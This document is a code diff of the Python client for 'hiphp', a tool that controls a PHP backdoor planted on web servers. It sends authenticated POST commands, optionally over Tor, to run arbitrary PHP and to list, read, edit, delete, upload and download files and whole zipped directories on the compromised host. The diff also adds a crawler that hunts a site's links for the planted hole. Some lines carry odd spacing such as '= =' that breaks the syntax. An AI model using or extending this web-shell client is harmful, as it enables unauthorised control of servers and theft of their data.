skipped 23 lines 24 24 from hiphp.hiphplogo import * 25 25 from hiphp.hiphpeditor import editor 26 26 from hiphp.hiphplinkextractor import * 27 + from hiphp.hiphpfunc import * 27 28 #from ashar import * 28 29 from hexor import * 29 30 #from asciitext import * skipped 1 lines 31 32 import re 32 33 import ast 33 34 from os.path import exists 34 - from biglibrary import * 35 + # from biglibrary import * 35 36 import base64 36 37 37 38 # skipped 15 lines 53 54 def __init__(self,key,url,retu=False,proxies=""): 54 55 # 55 56 self.key=tomd5(str(key))# Encrypt the 'key' with 'md5'. 56 - self.url=str(url) 57 + 58 + 59 + if url.startswith("http://") or url.startswith("https://"): 60 + self.url = str(url) 61 + else: 62 + self.url = "http://" + str(url) 63 + #self.url=str(url) 57 64 self.retu=retu 58 65 59 66 # skipped 24 lines 84 91 85 92 self.proxies=proxies 86 93 94 + def crawl(self,url): 95 + links = get_all_website_links(url) 96 + 97 + for link in links: 98 + hiphp.check_hiphp_in(self,link) 99 + 100 + def check_hiphp_in(self,url): 101 + pp11 = hiphp.do(self, self.key, url, self.headers, True, f"echo '{self.key}';") 102 + 103 + if pp11 != self.key: 104 + self.color2.c(errx + " " + url, self.c_red) 105 + else: 106 + self.color2.c(msgs + " " + url, self.c_green) 107 + self.url = url 108 + url_w=re.compile(r"https?://(www\.)?") 109 + self.url_w=url_w.sub('',str(url)).strip().strip('/') 110 + hiphp.cli(self) 111 + exit() 112 + 87 113 #cli: 88 114 def cli(self): 89 115 self.DS=hiphp.do(self,self.key,self.url,self.headers,True,DIRECTORY_SEPARATOR()) skipped 19 lines 109 135 scanner=input(f"Scan '{self.url}' to find HIPHP_HOLE_CODE (Y/N):") 110 136 111 137 if scanner.lower()=="y": 138 + hiphp.crawl(self,self.url) 139 + 140 + exit() 141 + """ 112 142 def crawl(url): 113 143 #all_links=[] 114 144 #print(f"[*] Crawling: {url}") skipped 21 lines 136 166 exit() 137 167 crawl(self.url) 138 168 exit() 169 + """ 139 170 """ 140 171 import requests 141 172 from bs4 import BeautifulSoup skipped 41 lines 183 214 # exit() 184 215 if command and command!="": 185 216 #help 186 - if command[ 0 : 6 ] .lower()= = "--help" or command[ 0 : 4 ] .lower()= = "help": 187 - help_c=command.split(" ") 217 + if command.lower(). startswith ( "--help") or command.lower(). startswith ( "help") : 218 + #if command[0:6].lower()=="--help" or command[0:4].lower()=="help": 188 219 try: 189 - help(__version__,help_c [1]) 220 + help(__version__,command . split ( " " ) [1]) 190 221 except: 191 222 print(help(__version__)) 192 223 #version 193 - elif command[ 0 : 9 ] .lower()= = "--version" or command[ 0 : 7 ] .lower()= = "version": 224 + elif command.lower(). startswith ( "--version") or command.lower(). startswith ( "version") : 225 + #elif command[0:9].lower()=="--version" or command[0:7].lower()=="version": 194 226 print(__version__) 195 227 #exit 196 - elif command[ 0 : 6 ] .lower()= = "--exit" or command[ 0 : 4 ] .lower()= = "exit": 228 + elif command.lower(). startswith ( "--exit") or command.lower(). startswith ( "exit") : 229 + #elif command[0:6].lower()=="--exit" or command[0:4].lower()=="exit": 197 230 exit() 198 231 #license 199 - elif command[ 0 : 9 ] .lower()= = "--license" or command[ 0 : 7 ] .lower()= = "license": 232 + elif command.lower(). startswith ( "--license") or command.lower(). startswith ( "license") : 233 + #elif command[0:9].lower()=="--license" or command[0:7].lower()=="license": 200 234 print(license()) 201 235 #about 202 - elif command[ 0 : 7 ] .lower()= = "--about" or command[ 0 : 5 ] .lower()= = "about": 236 + elif command.lower(). startswith ( "--about") or command.lower(). startswith ( "about") : 237 + #elif command[0:7].lower()=="--about" or command[0:5].lower()=="about": 203 238 print(about()) 239 + #chmod 240 + elif command.lower().startswith("--chmod") or command.lower().startswith("chmod"): 241 + #elif command[0:7].lower()=="--about" or command[0:5].lower()=="about": 242 + ppth=command.split(" ")[1:] 243 + code=chmod(ppth[0],ppth[1]) 244 + #print(code) 245 + print(hiphp.do(self,self.key,self.url,self.headers,True,code)) 246 + #print(ppth) 204 247 #cp 205 - elif command[ 0 : 4 ] .lower()= = "--mv" or command[ 0 : 2 ] .lower()= = "mv": 206 - ppth=command.split(" ") 248 + elif command.lower(). startswith ( "--mv") or command.lower(). startswith ( "mv") : 249 + #elif command[0:4].lower()=="--mv" or command[0:2].lower()=="mv": 250 + ppth=command.split(" ")[1:] 207 251 try: 208 - command=simulate_mv(ppth[1 ],ppth[2 ]) 252 + command=simulate_mv(ppth[0 ],ppth[1 ]) 209 253 print(hiphp.do(self,self.key,self.url,self.headers,True,command)) 210 254 except: 211 255 help(__version__,"--mv") 212 256 #download 213 - elif command[ 0 : 6 ] .lower()= = "--down" or command[ 0 : 4 ] .lower()= = "down" or command[ 0 : 8 ] .lower()= = "download": 214 - down=command.split(" ") 257 + elif command.lower(). startswith ( "--down") or command.lower(). startswith ( "down") or command.lower(). startswith ( "download") : 258 + down=command.split(" ")[ 1 : ] 215 259 try: 216 - if down[1 ].lower()=="-f": 260 + if down[0 ].lower()=="-f": 217 261 """command=file_get_contents(down[2]) 218 262 content=hiphp.do(self,self.key,self.url,self.headers,True,command) 219 263 try: skipped 5 lines 225 269 f.write(content) 226 270 f.close()""" 227 271 try: 228 - out_path=down[3 ] 272 + out_path=down[2 ] 229 273 except: 230 274 out_path="" 231 - print(smsg_1+hiphp.download(self,down[2 ],out_path)) 232 - elif down[1 ].lower()=="-d": 275 + print(smsg_1+hiphp.download(self,down[1 ],out_path)) 276 + elif down[0 ].lower()=="-d": 233 277 try: 234 - zip_file_name=hiphp.compress(self,down[2 ]) 278 + zip_file_name=hiphp.compress(self,down[1 ]) 235 279 except: 236 280 zip_file_name=hiphp.compress(self) 237 281 #zip_file_name=hiphp.do(self,self.key,self.url,self.headers,True,command) 238 282 239 283 try: 240 - out_path=down[3 ] 284 + out_path=down[2 ] 241 285 except: 242 286 out_path="" 243 287 print(smsg_1+hiphp.download(self,zip_file_name,out_path)) 244 - elif down[1 ].lower()=="-all": 288 + elif down[0 ].lower()=="-all": 245 289 try: 246 - out_path=down[2 ] 290 + out_path=down[1 ] 247 291 except: 248 292 out_path="" 249 293 zip_file_name=hiphp.compress(self) 250 294 print(smsg_1+hiphp.download(self,zip_file_name,out_path)) 295 + else: 296 + help(__version__,"--down") 251 297 252 298 except: 253 299 help(__version__,"--down") 254 300 #zip 255 - elif command[ 0 : 5 ] .lower()= = "--zip" or command[ 0 : 3 ] .lower()= = "zip": 301 + elif command.lower(). startswith ( "--zip") or command.lower(). startswith ( "zip") : 256 302 257 303 try: 258 304 ziping=command.split(" ")[1] skipped 5 lines 264 310 except: 265 311 help(__version__,"--zip") 266 312 #update 267 - elif command[ 0 : 8 ] .lower()= = "--update" or command[ 0 : 6 ] .lower()= = "update": 313 + elif command.lower(). startswith ( "--update") or command.lower(). startswith ( "update") : 268 314 r="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/version.txt" 269 315 version = requests.get(r).text 270 316 version=version.replace('\n', ' ').replace('\r', '').replace(' ', '') skipped 14 lines 285 331 else: 286 332 print(msg_4) 287 333 #ls 288 - elif command[ 0 : 4 ] .lower()= = "--ls" or command[ 0 : 2 ] .lower()= = "ls": 334 + elif command.lower(). startswith ( "--ls") or command.lower(). startswith ( "ls") : 335 + if len(command) == 4 or len(command) == 2: 336 + command = scandir() 337 + elif command.lower().startswith("--ls -all"): 338 + dirx = command[10:] if len(command) > 10 else "." + self.DS 339 + command = scandir_all(dirx) 340 + elif command.lower().startswith("ls -all"): 341 + dirx = command[8:] if len(command) > 8 else "." + self.DS 342 + command = scandir_all(dirx) 343 + else: 344 + dirx = command[5:] if len(command) == 4 else command[3:] 345 + if dirx[-1] != self.DS: 346 + dirx += self.DS 347 + command = scandir(dirx) 348 + 349 + sd = hiphp.do(self, self.key, self.url, self.headers, True, command) 350 + x = ast.literal_eval(sd) 351 + 352 + for i in range(len(x)): 353 + if x[i] not in (".", ".."): 354 + x[i] = x[i].replace("\/", "/") 355 + 356 + separators = " | " if len(x) > 1 else "" 357 + if len(x) > 0: 358 + print(lslist(x, separator=separators)) 359 + #print(lslist(x, separator=separators)) 360 + """elif command[0:4].lower()=="--ls" or command[0:2].lower()=="ls": 289 361 if len(command)==4 or len(command)==2: 290 362 command=scandir() 291 363 elif command[0:4].lower()=="--ls" and command[5:9].lower()=="-all": skipped 25 lines 317 389 separators=" | " 318 390 else: 319 391 separators="" 320 - biglibrary () . lslist(x,separator=separators) 392 + print (lslist(x,separator=separators)) " " " 321 393 #set 322 - elif command[ 0 : 4 ] .lower()= = "--cd" or command[ 0 : 2 ] .lower()= = "cd": 323 - self.cd="" 324 - if command[ 0 : 4 ] .lower()= = "--cd": 325 - self.cd=f"chdir('{reee}{self.DS}{command[5:]}');" 394 + elif command.lower(). startswith ( "--cd") or command.lower(). startswith ( "cd") : 395 + self.cd = "" 396 + if command.lower(). startswith ( "--cd") : 397 + self.cd = f"chdir('{reee}{self.DS}{command[5:]}');" 326 398 else: 327 - self.cd=f"chdir('{reee}{self.DS}{command[3:]}');" 399 + self.cd = f"chdir('{reee}{self.DS}{command[3:]}');" 328 400 #set 329 - elif command[ 0 : 5 ] .lower()= = "--set" or command[ 0 : 3 ] .lower()= = "set": 330 - if command[ 0 : 5 ] .lower()= = "--set": 331 - self.set+=command[6:] 401 + elif command.lower(). startswith ( "--set") or command.lower(). startswith ( "set") : 402 + if command.lower(). startswith ( "--set") : 403 + self.set += command[6:] 332 404 else: 333 - self.set+=command[4:] 405 + self.set += command[4:] 334 406 #delete set 335 - elif command[ 0 : 6 ] .lower()= = "--dset" or command[ 0 : 4 ] .lower()= = "dset": 407 + elif command.lower(). startswith ( "--dset") or command.lower(). startswith ( "dset") : 408 + #elif command[0:6].lower()=="--dset" or command[0:4].lower()=="dset": 336 409 self.set="" 337 410 #clear 338 - elif command[ 0 : 5 ] .lower()= = "--cls" or command[ 0 : 3 ] .lower()= = "cls": 411 + elif command.lower(). startswith ( "--cls") or command.lower(). startswith ( "cls") : 412 + #elif command[0:5].lower()=="--cls" or command[0:3].lower()=="cls": 339 413 os.system('cls' if os.name == 'nt' else 'clear') 340 414 #Get the hole Code 341 - elif command[ 0 : 6 ] .lower()= = "--geth" or command[ 0 : 15 ] .upper ()= = "HIPHP_HOLE_CODE " or command[ 0 : 4 ] .lower()= = "geth ": 415 + elif command.lower(). startswith ( "--geth") or command.lower (). startswith ( "geth ") or command.lower(). startswith ( "HIPHP_HOLE_CODE ") : 416 + #elif command[0:6].lower()=="--geth" or command[0:15].upper()=="HIPHP_HOLE_CODE" or command[0:4].lower()=="geth": 342 417 hiphp.get_hole(self,get=True) 343 418 #cat 344 - elif command[ 0 : 5 ] .lower()= = "--cat" or command[ 0 : 3 ] .lower()= = "cat": 345 - if command[ 0 : 5 ] .lower()= = "--cat": 346 - dirx=command[6:] 419 + elif command.lower(). startswith ( "--cat") or command.lower(). startswith ( "cat") : 420 + if command.lower(). startswith ( "--cat") : 421 + dirx = command[6:] 347 422 else: 348 - dirx=command[4:] 349 - command=file_get_contents(dirx) 350 - hiphp.do(self,self.key,self.url,self.headers,False,command) 351 - #cat 352 - elif command[0:5].lower()=="--edt" or command[0:3].lower()=="edt" or command[0:4].lower()=="edit": 353 - dirx=command.split(" ")[1] 354 - #if command[0:5].lower()=="--edt": 355 - # dirx=command[6:] 356 - #else: 357 - # dirx=command[4:] 423 + dirx = command[4:] 424 + 425 + command = file_get_contents(dirx) 426 + hiphp.do(self, self.key, self.url, self.headers, False, command) 427 + 428 + #edt 429 + elif command.lower().startswith("--edt") or command.lower().startswith("edt") or command.lower().startswith("edit"): 430 + dirx = command.split(" ")[1] 358 431 359 432 try: 360 - from_path=os.path.dirname(dirx) 433 + from_path = os.path.dirname(dirx) 361 434 except: 362 - from_path="." 363 - #print(from_path) 364 - out_path=hiphp.download(self,dirx,"") 435 + from_path = "." 436 + 437 + out_path = hiphp.download(self, dirx, "") 365 438 editor(out_path) 366 - hiphp.run(self,f"unlink('{dirx}');") 367 - if from_path=="": 368 - hiphp.upload(self,out_path) 439 + 440 + hiphp.run(self, f"unlink('{dirx}');") 441 + 442 + if from_path == "": 443 + hiphp.upload(self, out_path) 369 444 else: 370 - hiphp.upload(self,out_path,from_path+self.DS) 445 + hiphp.upload(self, out_path, from_path + self.DS) 446 + 371 447 os.remove(out_path) 448 + 372 449 #os.system('cls' if os.name == 'nt' else 'clear') 373 450 #print(out_path) 374 451 375 452 #remove: 376 - elif command[ 0 : 4 ] .lower()= = "--rm" or command[ 0 : 2 ] .lower()= = "rm" or command[ 0 : 6 ] .lower()= = "delete": 377 - dirx=command.split(" ") 378 - try: 379 - command=rm(dirx[1],dirx[2]) 380 - hiphp.do(self,self.key,self.url,self.headers,False,command) 381 - except: 382 - help(__version__,"--rm") 383 - #php_info: 384 - elif command[0:9].lower()=="--phpinfo" or command[0:7].lower()=="phpinfo": 385 - command=php_info() 386 - hiphp.do(self,self.key,self.url,self.headers,False,command) 387 - #rf 388 - elif command[0:4].lower()=="--rf" or command[0:2].lower()=="rf" or command[0:3].lower()=="run": 389 - varss=command.split(" ") 390 - if varss[len(varss)-1]=="": 391 - del varss[len(varss)-1] 392 - print(hiphp.run_file(self,varss[1],varss[2:])) 393 - #up 394 - elif command[ 0 : 4 ] .lower()= = "--up " or command[ 0 : 2 ] .lower()= = "up " or command[ 0 : 6 ] .lower()= = "upload ": 395 - v =command.split(" ") 396 - #print(v) 397 - if len(v)>2: 398 - #try: 399 - file_path=v[1] 400 - to=v[2] 401 - if to[len(to)-1:len(to)]!=self.DS: 402 - to=to+self.DS 403 - hiphp.upload(self,file_path,to) 404 - #except: 453 + elif command.lower(). startswith ( "--rm") or command.lower(). startswith ( "rm") or command.lower(). startswith ( "delete") : 454 + dirx = command.split(" ") 455 + 456 + if len(dirx) < 3: 457 + help(__version__, "--rm") 458 + else: 459 + try: 460 + command = rm(dirx[1], dirx[2]) 461 + hiphp.do(self, self.key, self.url, self.headers, False, command) 462 + except: 463 + help(__version__, "--rm") 464 + 465 + # php_info 466 + elif command.lower().startswith("--phpinfo") or command.lower().startswith("phpinfo"): 467 + command = php_info() 468 + hiphp.do(self, self.key, self.url, self.headers, False, command) 469 + 470 + # rf 471 + elif command.lower(). startswith ( "--rf ") or command.lower(). startswith ( "rf ") or command.lower(). startswith ( "run ") : 472 + varss = command.split(" ") 473 + if varss[-1] == "": 474 + del varss[-1] 475 + print(hiphp.run_file(self, varss[1], varss[2:])) 476 + 477 + # up 478 + elif command.lower().startswith("--up") or command.lower().startswith("up") or command.lower().startswith("upload"): 479 + v = command.split(" ") 480 + if len(v) > 2: 481 + file_path = v[1] 482 + to = v[2] 483 + if to[-1:] != self.DS: 484 + to += self.DS 485 + hiphp.upload(self, file_path, to) 405 486 else: 406 - hiphp.upload(self,command . split ( " " ) [1]) 487 + hiphp.upload(self, v [1]) 407 488 else: 408 - comand_return=hiphp.do(self,self.key,self.url,self.headers,True,command) 409 - if comand_return!="": 410 - print(comand_return) 489 + comand_return = hiphp.do(self, self.key, self.url, self.headers, True, command) 490 + if comand_return != "": 491 + if re.search(re.escape(emsg_3), comand_return): 492 + self.color2.c(emsg_2,self.c_red) 493 + else: 494 + print(comand_return) 411 495 else: 412 - self.color2.c(errx+" "+command+emsg_6,self.c_red) 496 + self.color2.c(errx + " " + command + emsg_6, self.c_red) 497 + 413 498 else: 414 499 self.color2.c(emsg_2,self.c_red) 415 500 skipped 3 lines 419 504 #exit() 420 505 421 506 #do: 422 - def do(self,key,url,header,retu,command): 507 + def do(self, key, url, header, retu, command): 423 508 regex = re.compile(r"^https?\:\/\/[\w\-\.]+\.onion") 424 - proxies_onion = {'http': 'socks5h://127.0.0.1:9150','https': 'socks5h://127.0.0.1:9150'} 509 + proxies_onion = {'http': 'socks5h://127.0.0.1:9150', 'https': 'socks5h://127.0.0.1:9150'} 510 + 425 511 try: 426 512 if regex.match(url): 427 - #.onion 428 - response=requests.post(url,headers=header,proxies=proxies_onion) 513 + # .onion 514 + proxies = proxies_onion 429 515 else: 430 - if self.proxies!="": 431 - response=requests.post(url,headers=header,proxies=self.proxies) 432 - else: 433 - response=requests.post(url,headers=header) 434 - #response=requests.post(url,headers=header) 435 - # 436 - if response.status_code==200: 437 - key_len=len(key)+1 438 - # if the key are true: 439 - if response.text[0:key_len]=="#"+key: 440 - ploads={'command':self.cd+self.set+command} 441 - if ".onion" in url: 442 - response=requests.post(url,headers=header,data=ploads,proxies=proxies_onion) 443 - else: 444 - if self.proxies!="": 445 - response=requests.post(url,headers=header,data=ploads,proxies=self.proxies) 446 - else: 447 - response=requests.post(url,headers=header,data=ploads) 448 - response_text=response.text[key_len:] 449 - if retu==True: 516 + proxies = self . proxies if self.proxies != "" else None 517 + 518 + response = requests.post(url, headers=header, proxies=proxies, data=self._build_payload(command)) 519 + 520 + if response.status_code == 200: 521 + response_text = response.text 522 + if response_text.startswith("#" + key): 523 + response_text = response_text[len(key) + 1:] 524 + if retu: 450 525 return response_text 451 526 else: 452 - if len ( response_text) ! = 0 : 527 + if response_text: 453 528 print(response_text) 454 529 else: 455 - if retu= = True : 530 + if retu: 456 531 return emsg_1 457 532 else: 458 - hexor().c(emsg_1,self.c_red) 533 + hexor().c(emsg_1, self.c_red) 459 534 exit() 460 - except: 461 - emsg=emsg_3+" '"+url+"'." 462 - if retu==True: 535 + else: 536 + raise Exception("Request failed with status code: " + str(response.status_code)) 537 + except Exception as e: 538 + emsg = emsg_3 + " '" + url + "'." 539 + if retu: 463 540 return emsg 464 541 else: 465 - hexor().c(emsg,self.c_red) 542 + hexor().c(emsg, self.c_red) 466 543 exit() 544 + 545 + def _build_payload(self, command): 546 + ploads = {'command': self.cd + self.set + command} 547 + return ploads 467 548 468 549 #run_file: 469 550 def run_file(self,file_path,*opts): skipped 70 lines 540 621 outpath=download_folder 541 622 else: 542 623 outpath=os.path.abspath(os.getcwd()) 543 - 544 624 545 625 new_command=file_to_b64(path_x) 546 626 path_x=os.path.basename(path_x) skipped 34 lines